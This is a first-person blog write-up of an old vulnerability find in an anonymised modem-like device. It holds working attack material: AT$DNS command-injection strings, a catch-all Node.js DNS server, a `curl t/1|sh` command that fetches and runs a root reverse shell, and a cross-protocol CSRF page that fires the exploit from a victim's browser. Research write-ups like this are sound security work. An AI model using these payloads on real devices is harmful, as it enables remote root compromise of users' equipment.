I’m excited to finally write up and share my favorite vulnerability I’ve ever found. It’s a story where all the right pieces fell into place to make it exploitable. The names, ports, and other details have been changed to protect the vulnerable even though this took place probably 6 years ago and I believe the devices are now sunsetted.
So there I was testing this, ah, device. Let’s just go with that for now. This device had an internal network and an external network.
Enumeration
The first step was to figure out what kind of surface area I was working with. I knew it had a web interface but wasn’t sure what else I would find. A port scan reviled a service running on port 55555/TCP.
Connecting to the device on that port just sat there….. waiting for me. So I typed asdf[enter]
It quickly shot back ERROR. and went back to waiting for input. This tickled the back of my brain. I’ve seen this before…. It felt like I sat there forever trying to solve this mystery and then my brain told my fingers to type AT[enter]
. OK the terminal told me. Eureka!, we were on to something. It’s a modem. I started an ISP back when I was younger and in the following years spent a lot of time with modems. Time to knock some dust off the old brain.
Fuzzing
As I dug up some old command references I put together a simple AT command fuzzer. That didn’t yield as much as remembering that AT&V
would dump the current modem configuration.
Hunting for vulns
I went through each configuration value seeing what vulnerabilities might pop up. I saw one AT&$DNS
and thought it would be interesting to control DNS so I could redirect traffic, but it got a lot more interesting.
I setup a packet capture on port 53 (tcpdump -vvnni eth0 port 53) and issued the following command to point the devices DNS requests to my system.
AT$DNS=1,"192.168.1.2","192.168.1.3"
Sure enough DNS requests from the device started to flow into my packet capture. I thought If I’m able to control system DNS maybe it’s possible the values aren’t being sanitized and more can be done.
I tried AT$DNS=1,"192.168.1.2","`ping 192.168.1.2`"
which failed. But I thought was because spaces were not allowed. I tried AT$DNS=1,"192.168.1.2","`ping$IFS\test`"
and sure enough I was seeing the dns request for test but commands longer than 15 characters (the length of an IP address) failed.
I wanted simple confirmation that it was injectable so I tried AT$DNS=1,"192.168.1.2","`reboot`"
this turned out to be a bad idea as not only did it reboot the device but this command got written into a startup script that cause it to enter into an endless reboot cycle. Not my finest moment.
Internal Exploitation
So here I was with a command injection on an internal service but I’m limited to a 15 character payload.
Maybe I could curl something|sh
but that approach was too long even for the shortest domain I had which was 6 characters in length, but that lead to the answer.
Since I could control DNS I could use just a single character.
I spun up the node.js based DNS server below so that anything that was asked of it would return my systems IP and a web server to return a reverse shell payload.
var dns = require('native-dns');
var server = dns.createServer();
server.on('request', function (request, response) {
response.answer.push(dns.A({
name: request.question[0].name,
address: '192.168.1.2',
ttl: 600,
}));
response.send();
});
server.on('error', function (err, buff, req, res) {
console.log(err.stack);
});
server.serve(53);
Then I sent it this payload, which returned me a reverse shell.
AT$DNS=1,"192.168.1.2","`curl t/1|sh`"
…and the best feeling in the world.
$ whoami
root
Inter-Protocol Exploitation
Getting code execution from inside the network device was great but it was extremely unlikely an attacker would be on the network given the type of device it was. The one nice way of pivoting from outside the network to an inside service is using HTTP and CSRF (Cross-Site Request Forgery).
But wait, the service on the device we want to talk to isn’t HTTP. It does exhibit a really interesting property though. For lines you send it that aren’t valid AT modem commands, it just says ERROR and doesn’t disconnect the client. So effectively the service will ignore all the HTTP headers until it gets to the body of our payload.
So in the end if a user of this particular device visits a website that the attacker controls they can issue a request like the following and gain root access to the system.
<html>
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST","http://192.168.1.1:55555",true);
xhr.timeout = 4000;
xhr.ontimeout = function () { console.log(xhr.responseText) }
xhr.send('AT$DNS=1,"192.168.1.2","`curl t/1|sh`"\n');
</script>
</html>
This was such a great vulnerability to find and exploit. It had a lot of interesting dynamics to it and pieces that had to fall into place to be remotely exploitable. The constraints of the device and vulnerabilities that had to be worked around is what made it both frustrating but fun and in the end a vuln I will never forget.